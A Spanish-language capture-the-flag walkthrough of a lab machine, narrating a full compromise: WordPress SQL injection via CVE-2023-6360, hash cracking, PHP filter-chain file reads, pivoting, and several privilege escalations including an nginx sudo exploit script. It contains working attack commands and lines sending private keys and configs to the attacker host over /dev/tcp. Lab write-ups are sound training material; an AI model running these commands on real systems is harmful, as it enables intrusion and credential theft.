THLCPPT_V16
La seguridad ofensiva es la adrenalina pura del mundo cibernético. Enfréntate a sistemas desafiantes, explora vulnerabilidades y despliega tácticas de hacking para descubrir brechas antes que los malos. ¡Cada reto en una plataforma de CTF es una oportunidad para afilar tus habilidades y dominar el arte del ataque!
Information Gathering
1
2
/home/kali/Documents/thl/thlcppt_v16:-$ sudo arp-scan -l | grep 08:00
192.168.0.138 08:00:27:ac:6f:dc PCS Systemtechnik GmbH
El análisis inicial comienza con el comando ping para confirmar la accesibilidad de la máquina objetivo en la red.
1
2
3
4
5
6
7
/home/kali/Documents/thl/thlcppt_v16:-$ ping -c 1 192.168.0.138
PING 192.168.0.138 (192.168.0.138) 56(84) bytes of data.
64 bytes from 192.168.0.138: icmp_seq=1 ttl=64 time=0.290 ms
--- 192.168.0.138 ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 0.290/0.290/0.290/0.000 ms
Realizo un escaneo agresivo de puertos con nmap, lo que me permite identificar rápidamente todos los puertos abiertos.
1
2
3
/home/kali/Documents/thl/thlcppt_v16:-$ nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn 192.168.0.138 -oG nmap1
Host: 192.168.0.138 () Status: Up
Host: 192.168.0.138 () Ports: 22/open/tcp//ssh///, 80/open/tcp//http/// Ignored State: closed (65533)
Profundizo en los puertos detectados, recopilando información detallada sobre los servicios y versiones en ejecución.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
/home/kali/Documents/thl/thlcppt_v16:-$ nmap -sCV -p22,80 -vvv 192.168.0.138 -oN nmap2
PORT STATE SERVICE REASON VERSION
22/tcp open ssh syn-ack ttl 64 OpenSSH 9.2p1 Debian 2+deb12u2 (protocol 2.0)
| ssh-hostkey:
| 256 209327f635ab7080c32d83c03649544d (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBBEzuT2oHO4os+a21WaSF7jc29VIDzRJiqalbIliAUE7hQVJsQRATcxXcBwZHTIJsPx9XeDx3pj4nILbaNCYIKQ=
| 256 f7ea09d7d569f9ca3ead9cbecd902a65 (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIARpAMeXD3uh21mPiWtbvJeumI6GhGbOwsfZzmbk9pVs
80/tcp open http syn-ack ttl 64 nginx 1.22.1
|_http-server-header: nginx/1.22.1
| http-methods:
|_ Supported Methods: GET HEAD
|_http-title: Examen de thl-cppt-v16
MAC Address: 08:00:27:AC:6F:DC (Oracle VirtualBox virtual NIC)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
1
2
/home/kali/Documents/thl/thlcppt_v16:-$ whatweb 192.168.0.138
http://192.168.0.138 [200 OK] Country[RESERVED][ZZ], HTML5, HTTPServer[nginx/1.22.1], IP[192.168.0.138], Title[Examen de thl-cppt-v16], nginx[1.22.1]
Web Analysis
Accedo al servicio web utilizando la dirección IP de la máquina víctima y encuentro una interfaz que simula un examen. En la parte inferior de la página hay un botón Ir al Examen
que redirige a un subdominio.
Para acceder correctamente al subdominio, agrego las entradas necesarias en el archivo /etc/hosts
.
1
/home/kali/Documents/thl/thlcppt_v16:-$ echo '192.168.0.138\tthlcpptv16.thl\texamen.thlcpptv16.thl' | sudo tee -a /etc/hosts
Al acceder al subdominio, identifico que el sitio web está utilizando WordPress.
1
2
/home/kali/Documents/thl/thlcppt_v16:-$ whatweb examen.thlcpptv16.thl
http://examen.thlcpptv16.thl [200 OK] Country[RESERVED][ZZ], HTML5, HTTPServer[nginx/1.22.1], IP[192.168.0.138], JQuery[3.7.1], MetaGenerator[WordPress 6.5.4], Script[importmap,module,text/javascript], Title[Examen], UncommonHeaders[link], WordPress[6.5.4], nginx[1.22.1]
Para obtener más información, realizo un escaneo con wpscan, enumerando temas, plugins y usuarios.
1
/home/kali/Documents/thl/thlcppt_v16:-$ wpscan --url http://examen.thlcpptv16.thl --api-token='<WPSCAN-TOKEN>' --enumerate tt,vp,u
El escaneo revela tres usuarios válidos y cuatro vulnerabilidades asociadas con la versión del plugin “My Calendar”.
CVE Exploitation
Entre las vulnerabilidades identificadas en el plugin My Calendar, determino que CVE-2023-6360 es la más viable para la explotación, ya que permite realizar una inyección SQL de forma no autenticada.
- Referencia: Mycalendar Plugin Unauthenticated Sql Injection.
- Referencia: SQL Injection in My Calendar WordPress Plugin.
Utilizo sqlmap para identificar la base de datos activa.
1
2
/home/kali/Documents/thl/thlcppt_v16:-$ sqlmap -u "http://examen.thlcpptv16.thl/?rest_route=/my-calendar/v1/events&from=1*" --batch --current-db --dbms=MySQL
current database: 'wordpress'
Posteriormente, dumpeo el contenido de la tabla wp_users
.
1
2
3
4
5
6
7
8
9
10
11
/home/kali/Documents/thl/thlcppt_v16:-$ sqlmap -u "http://examen.thlcpptv16.thl/?rest_route=/my-calendar/v1/events&from=1*" --batch --dump --dbms=MySQL -D wordpress -T wp_users
Database: wordpress
Table: wp_users
[3 entries]
+----+------------------------------+------------------------------------+---------------------------+------------+-------------+--------------+---------------+---------------------+---------------------+
| ID | user_url | user_pass | user_email | user_login | user_status | display_name | user_nicename | user_registered | user_activation_key |
+----+------------------------------+------------------------------------+---------------------------+------------+-------------+--------------+---------------+---------------------+---------------------+
| 1 | http://examen.thlcpptv16.thl | $P$B43UAoTTnv0stdbxGqzwyQtyXm86x/1 | examinador@thlcpptv16.thl | examinador | 0 | examinador | examinador | 2024-06-15 20:27:49 | <blank> |
| 2 | <blank> | $P$BJrv/Sv/rBlufcIW5FiMdUW4lA5UrN1 | tom@thlcpptv16.thl | tom | 0 | tom | tom | 2024-06-15 20:33:29 | <blank> |
| 3 | <blank> | $P$B0uohNeAjd6aq3n0dv6NC7Nhkro0Kt. | jerry@thlcpptv16.thl | jerry | 0 | jerry | jerry | 2024-06-15 20:34:14 | <blank> |
+----+------------------------------+------------------------------------+---------------------------+------------+-------------+--------------+---------------+---------------------+---------------------+
Los usuarios obtenidos de la tabla wp_users
coinciden con los previamente enumerados mediante WPScan. Identifico que las contraseñas están cifradas con el algoritmo phpass.
1
2
3
4
5
6
7
/home/kali/Documents/thl/thlcppt_v16:-$ hashcat --show '$P$BJrv/Sv/rBlufcIW5FiMdUW4lA5UrN1'
# | Name | Category
=====+=================================================+==============================
400 | phpass | Generic KDF
/home/kali/Documents/thl/thlcppt_v16:-$ hashcat -m 400 -a 0 '$P$BJrv/Sv/rBlufcIW5FiMdUW4lA5UrN1' /usr/share/wordlists/rockyou.txt
$P$BJrv/Sv/rBlufcIW5FiMdUW4lA5UrN1:iloveme2
Una vez obtenida la contraseña del usuario Tom
, accedo exitosamente al panel de WordPress.
Foothold
Una vez dentro del panel de WordPress como el usuario Tom
, se observa una entrada con el título “Filtración de Datos”. La nota hace referencia a un nuevo subdominio examendos.thlcpptv16.thl
.
Se actualiza el archivo /etc/hosts
para poder acceder al nuevo subdominio.
1
2
/home/kali/Documents/thl/thlcppt_v16:-$ sed -i '$d' /etc/hosts
/home/kali/Documents/thl/thlcppt_v16:-$ echo '192.168.0.138\tthlcpptv16.thl\texamen.thlcpptv16.thl\texamendos.thlcpptv16.thl' | sudo tee -a /etc/hosts
Al acceder al nuevo subdominio, se encuentra un formulario que solicita una url junto con archivos .json
o .txt
. El texto Filter it! WrapWrap it!
sugiere el uso de filtros y wrappers de PHP para manipular contenido.
Encuentro la herramienta wrapwrap, que genera una cadena de php://filter
para incluir prefijos y sufijos al contenido de un archivo. Según la descripción, permite envolver archivos y formatearlos como JSON bajo el esquema {"message":"<contenido>"}
.
Se descarga el script y se instala la dependencia necesaria.
1
2
3
/home/kali/Documents/thl/thlcppt_v16:-$ wget https://raw.githubusercontent.com/ambionics/wrapwrap/refs/heads/main/wrapwrap.py
(venv)-/home/kali/Documents/thl/thlcppt_v16:-$ pip install ten
Genera un archivo chain.txt
apuntando a /etc/passwd
para verificar la viabilidad del ataque.
1
2
3
(venv)-/home/kali/Documents/thl/thlcppt_v16:-$ ./wrapwrap.py /etc/passwd '{"message":"' '"}' 1000
[*] Dumping 1008 bytes from /etc/passwd.
[+] Wrote filter chain to chain.txt (size=705031).
Levanto un servidor para exponer el archivo.
1
2
/home/kali/Documents/thl/thlcppt_v16:-$ python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
Finalmente, se envío la url del archivo al formulario mediante curl para validar la lectura remota. El contenido de /etc/passwd
es devuelto correctamente, confirmando así la vulnerabilidad.
1
2
/home/kali/Documents/thl/thlcppt_v16:-$ curl -X POST http://examendos.thlcpptv16.thl/process.php -H 'content-type:application/x-www-form-urlencoded' --data 'url=http://192.168.0.171/chain.txt'
{"message":"root:x:0:0:root:/root:/bin/bash=0Adaemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin=0Abin:x:2:2:bin:/bin:/usr/sbin/nologin=0Asys:x:3:3:sys:/dev:/usr/sbin/nologin=0Async:x:4:65534:sync:/bin:/bin/sync=0Agames:x:5:60:games:/usr/games:/usr/sbin/nologin=0Aman:x:6:12:man:/var/cache/man:/usr/sbin/nologin=0Alp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin=0Amail:x:8:8:mail:/var/mail:/usr/sbin/nologin=0Anews:x:9:9:news:/var/spool/news:/usr/sbin/nologin=0Auucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin=0Aproxy:x:13:13:proxy:/bin:/usr/sbin/nologin=0Awww-data:x:33:33:www-data:/var/www:/usr/sbin/nologin=0Abackup:x:34:34:backup:/var/backups:/usr/sbin/nologin=0Alist:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin=0Airc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin=0A_apt:x:42:65534::/nonexistent:/usr/sbin/nologin=0Anobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin=0Asystemd-network:x:998:998:systemd Network Management:/:/usr/sbin/nologin=0Asystemd-timesync:x:997:997:systemd Time Synchronization:/:"}
Ahora, apunto al archivo de configuración de wordpress ubicado en wp-config.php
, con el objetivo de extraer credenciales.
1
2
3
4
5
6
(venv)-/home/kali/Documents/thl/thlcppt_v16:-$ ./wrapwrap.py /var/www/examen.thlcpptv16.thl/wp-config.php '{"message":"' '"}' 1000
[*] Dumping 1008 bytes from /var/www/examen.thlcpptv16.thl/wp-config.php.
[+] Wrote filter chain to chain.txt (size=705064).
/home/kali/Documents/thl/thlcppt_v16:-$ curl -X POST http://examendos.thlcpptv16.thl/process.php -H 'content-type:application/x-www-form-urlencoded' --data 'url=http://192.168.0.171/chain.txt'
{"message":"<?php=0D=0Adefine( 'DB_NAME', 'wordpress' );=0D=0A=0D=0Adefine( 'DB_USER', 'WPUSER' );=0D=0A=0D=0Adefine( 'DB_PASSWORD', 'T0mB3stP4ssw0rd!' );=0D=0A=0D=0Adefine( 'DB_HOST', 'localhost' );=0D=0A=0D=0Adefine( 'DB_CHARSET', 'utf8' );=0D=0A=0D=0Adefine( 'DB_COLLATE', '' );=0D=0A=0D=0Adefine( 'AUTH_KEY', 'put your unique phrase here' );=0D=0Adefine( 'SECURE_AUTH_KEY', 'put your unique phrase here' );=0D=0Adefine( 'LOGGED_IN_KEY', 'put your unique phrase here' );=0D=0Adefine( 'NONCE_KEY', 'put your unique phrase here' );=0D=0Adefine( 'AUTH_SALT', 'put your unique phrase here' );=0D=0Adefine( 'SECURE_AUTH_SALT', 'put your unique phrase here' );=0D=0Adefine( 'LOGGED_IN_SALT', 'put your unique phrase here' );=0D=0Adefine( 'NONCE_SALT', 'put your unique phrase here' );=0D=0A=0D=0A$table_prefix =3D 'wp_';=0D=0A=0D=0A/**=0D=0A * For developers: WordPress debugging mode.=0D=0A *=0D=0A * Change this to true to enable the display of notices during development.=0D=0A * It is "}
El contenido filtrado revela las credenciales T0mB3stP4ssw0rd!
, pertenecientes al usuario Tom
.
1
2
3
4
5
/home/kali/Documents/thl/thlcppt_v16:-$ ssh tom@thlcpptv16.thl
tom@192.168.0.138's password: T0mB3stP4ssw0rd!
tom@thlcpptv16:~$ id
uid=1000(tom) gid=1000(tom) grupos=1000(tom)
Lateral Movement
Inicio revisando el contenido del archivo /etc/passwd
para verificar los usuarios disponibles
1
2
3
4
tom@thlcpptv16:~$ cat /etc/passwd | grep sh$
root:x:0:0:root:/root:/bin/bash
tom:x:1000:1000:tom,,,:/home/tom:/bin/bash
jerry:x:1001:1001::/home/jerry:/bin/bash
En el directorio principal del usuario, encuentro el archivo ToDo
que contiene pistas sobre tareas o conexiones futuras.
1
2
3
4
tom@thlcpptv16:~$ cat ToDo
Crear alias para ejecutar ssh para conectarme a la maquina de rafael desde cualquier directorio
Crear una clave privada
Buscar a jerry
Verifico el contenido del archivo .bashrc
para identificar si existen alias relevantes. Y encuentro un alias que facilita la conexión a un contenedor mediante ssh.
1
2
tom@thlcpptv16:~$ grep 'alias' .bashrc
alias rafael="sshpass -p 'Zds18Blt5iWY006ZaTpMclE1' ssh -tt rafael@172.101.0.5"
Tambien, identifico un archivo en el sistema que contiene una cadena codificada en ROT13.
1
2
3
4
5
6
7
tom@thlcpptv16:~$ find / -group 1001 2>/dev/null
/var/backup/passwd.dll
/home/jerry
tom@thlcpptv16:~$ cat /var/backup/passwd.dll
Yn pynir cnen pbarpgne cbe ffu n wreel_yncgbc rf: wreel:TCN
MUTAiZwQqBu9969N0LNR6
De la cadena obtengo lo siguiente.
Aunque por ahora no es necesario usarla, es una información valiosa para futuro.
Ejecuto el alias para conectarme a la máquina de rafael
y encuentro la primera flag.
1
2
3
4
5
6
7
tom@thlcpptv16:~$ ssh rafael@172.101.0.5
rafael@172.101.0.5's password: Zds18Blt5iWY006ZaTpMclE1
rafael@rafael:~$ id
uid=1000(rafael) gid=1000(rafael) groups=1000(rafael)
rafael@rafael:~$ cat user.txt
Escaping Docker
Privilege Escalation
Verifico mis privilegios y descubro que el usuario rafael
puede ejecutar /usr/bin/vim
sin necesidad de contraseña.
1
2
3
4
5
6
7
rafael@rafael:~$ sudo -l
Matching Defaults entries for rafael on rafael:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin,
use_pty
User rafael may run the following commands on rafael:
(ALL) NOPASSWD: /usr/bin/vim
Consulto GTFOBins para confirmar la técnica de explotación con vim
. Y aprovecho este permiso para lanzar una shell con privilegios de root
.
1
2
3
4
rafael@rafael:~$ sudo vim -c ':!/bin/sh'
# id
uid=0(root) gid=0(root) groups=0(root)
Pivoting
Dentro del directorio root
del sistema, encuentro dos archivos relevantes; start.sh
, un script que inicia o configura el entorno y tunnelRafael.conf
, un archivo que contiene la configuración típica de un túnel WireGuard.
1
2
3
4
5
6
7
8
root@rafael:~# cat start.sh
#!/bin/bash
# Start the SSH service
service ssh start
# Keep the container running
tail -f /dev/null
Al inspeccionar tunnelRafael.conf
, identifico parámetros que indican la creación de una nueva subred 10.13.13.1/24
. Esto evidencia que el fichero está destinado a establecer un túnel con WireGuard.
1
root@rafael:~# cat tunnelRafael.conf
Desde el contenedor, envío el contenido del fichero a mi máquina.
1
2
3
4
5
6
/home/kali/Documents/thl/thlcppt_v16:-$ nc -lnvp 4444 > tunnelRafael.conf
listening on [any] 4444 ...
root@rafael:~# cat tunnelRafael.conf > /dev/tcp/192.168.0.171/4444
... connect to [192.168.0.171] from (UNKNOWN) [192.168.0.138] 32980
Primero, descargo Ligolo-ng Proxy y Ligolo-ng Agent desde el repositorio oficial para establecer un túnel reverso que permita la comunicación entre la máquina víctima y mi máquina atacante.
1
2
3
/home/kali/Documents/thl/thlcppt_v16:-$ wget https://github.com/nicocha30/ligolo-ng/releases/download/v0.7.5/ligolo-ng_proxy_0.7.5_linux_amd64.tar.gz
root@rafael:~# wget https://github.com/nicocha30/ligolo-ng/releases/download/v0.7.5/ligolo-ng_agent_0.7.5_linux_amd64.tar.gz
Configuro una interfaz tun en mi máquina para permitir el paso del tráfico a través del túnel. Luego, creó la interfaz y luego la activo con ip link set
.
1
2
/home/kali/Documents/thl/thlcppt_v16:-$ sudo ip tuntap add user kali mode tun ligolo
/home/kali/Documents/thl/thlcppt_v16:-$ sudo ip link set ligolo up
Posteriormente, ejecuto el proxy y el agente de Ligolo.
- En la máquina atacante, inicio el proxy con la opción
-selfcert
para generar un certificado autofirmado.
1
/home/kali/Documents/thl/thlcppt_v16:-$ ./proxy -selfcert
- En el sistema víctima, ejecuto el agente para conectarse a mi proxy.
1
2
3
root@rafael:~# ./agent -connect 192.168.0.171:11601 -ignore-cert
WARN[0000] warning, certificate validation disable
INFO[0000] Connection established addr="192.168.0.171:11601"
Una vez establecido el túnel de Ligolo-ng, levanto la interfaz de WireGuard utilizando el archivo de configuración tunnelRafael.conf
.
1
/home/kali/Documents/thl/thlcppt_v16:-$ wg-quick up tunnelRafael.conf
Utilizo fping para escanear la subred 10.13.13.0/24
y confirmar los hosts activos.
1
2
3
4
/home/kali/Documents/thl/thlcppt_v16:-$ fping -asgq 10.13.13.1/24
10.13.13.1
10.13.13.2
10.13.13.3
Con un escaneo de nmap identifico que el puerto 22 está abierto en el host 10.13.13.3
. Y utilizo las credenciales encontradas anteriormente para conectarme mediante ssh.
1
2
3
4
5
6
7
8
9
/home/kali/Documents/thl/thlcppt_v16:-$ sudo nmap -p22 10.13.13.3
PORT STATE SERVICE
22/tcp open ssh
/home/kali/Documents/thl/thlcppt_v16:-$ ssh jerry@10.13.13.3
jerry@10.13.13.3's password: GPAZHGNvMjDdOh9969A0YAE6
jerry@jerry_laptop:~$ id
uid=1000(jerry) gid=1000(jerry) groups=1000(jerry),1001(sistema)
Privilege Escalation
1
2
3
jerry@jerry_laptop:~$ cat /etc/passwd | grep sh$
root:x:0:0:root:/root:/bin/bash
jerry:x:1000:1000::/home/jerry:/bin/bash
El usuario jerry
pertenece al grupo sistema
y tiene capacidad de escritura en el directorio /etc/apt/apt.conf.d
.
1
2
3
4
5
6
7
8
jerry@jerry_laptop:~$ find / -group 1001 2>/dev/null
/etc/apt/apt.conf.d
/etc/apt/apt.conf.d/70debconf
/etc/apt/apt.conf.d/docker-autoremove-suggests
/etc/apt/apt.conf.d/01autoremove
/etc/apt/apt.conf.d/docker-gzip-indexes
/etc/apt/apt.conf.d/docker-clean
/etc/apt/apt.conf.d/docker-no-languages
Utilizando la técnica documentada en APT Privilege Escalation, modifico el comportamiento de apt para ejecutar un comando con privilegios elevados. Esto me permite, obtener una shell SUID.
1
2
3
4
5
6
7
8
jerry@jerry_laptop:/etc/apt/apt.conf.d$ echo 'APT::Update::Pre-Invoke:: {"chmod u+s /bin/bash";};' > 01a
jerry@jerry_laptop:/etc/apt/apt.conf.d$ bash -p
bash-5.2# id
uid=1000(jerry) gid=1000(jerry) euid=0(root) groups=1000(jerry),1001(sistema)
bash-5.2# cat /root/homeCreds.txt
jerry:smO4IquxSH1fMt5pnQ4lBaEH
Después de haber escalado privilegios, leo el archivo /root/homeCreds.txt
que contiene credenciales para conectarme vía ssh al usuario jerry@thlcpptv16.thl
.
1
2
3
4
5
/home/kali/Documents/thl/thlcppt_v16:-$ ssh jerry@thlcpptv16.thl
jerry@thlcpptv16.thl's password: smO4IquxSH1fMt5pnQ4lBaEH
jerry@thlcpptv16:~$ id
uid=1001(jerry) gid=1001(jerry) grupos=1001(jerry)
Privilege Escalation
El usuario jerry
tiene permisos para ejecutar nginx como root
sin necesidad de contraseña.
1
2
3
4
5
6
7
8
jerry@thlcpptv16:~$ sudo -l
Matching Defaults entries for jerry on thlcpptv16:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin,
use_pty
User jerry may run the following commands on thlcpptv16:
(root) NOPASSWD: /usr/sbin/nginx
Según el siguiente exploit: Privilege Escalation - NGINX / SUDO se puede aprovechar esta configuración, es posible iniciar un servidor nginx personalizado con permisos elevados que permita escribir en el sistema de archivos del usuario root
.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
jerry@thlcpptv16:~$ cat exploit.sh
echo "[+] Creating configuration..."
cat << EOF > /tmp/nginx_pwn.conf
user root;
worker_processes 4;
pid /tmp/nginx.pid;
events {
worker_connections 768;
}
http {
server {
listen 1339;
root /;
autoindex on;
dav_methods PUT;
}
}
EOF
echo "[+] Loading configuration..."
sudo nginx -c /tmp/nginx_pwn.conf
echo "[+] Generating SSH Key..."
ssh-keygen
echo "[+] Display SSH Private Key for copy..."
cat .ssh/id_rsa
echo "[+] Add key to root user..."
curl -X PUT localhost:1339/root/.ssh/authorized_keys -d "$(cat .ssh/id_rsa.pub)"
echo "[+] Use the SSH key to get access"
Ejecuto el script para llevar a cabo la escalada.
1
2
3
jerry@thlcpptv16:~$ chmod +x exploit.sh
jerry@thlcpptv16:~$ ./exploit.sh
Una vez ejecutado, obtengo una clave privada válida para acceder como root
.
1
2
3
4
5
6
/home/kali/Documents/thl/thlcppt_v16:-$ nc -lnvp 4444 > id_rsa
listening on [any] 4444 ...
jerry@thlcpptv16:~$ cat .ssh/id_rsa > /dev/tcp/192.168.0.171/4444
... connect to [192.168.0.171] from (UNKNOWN) [192.168.0.138] 36436
De esta forma consigo acceso total al sistema.
1
2
3
4
5
6
7
/home/kali/Documents/thl/thlcppt_v16:-$ chmod 600 id_rsa
/home/kali/Documents/thl/thlcppt_v16:-$ ssh root@thlcpptv16.thl -i id_rsa
root@thlcpptv16:~# id
uid=0(root) gid=0(root) grupos=0(root)
root@thlcpptv16:~# cat root.txt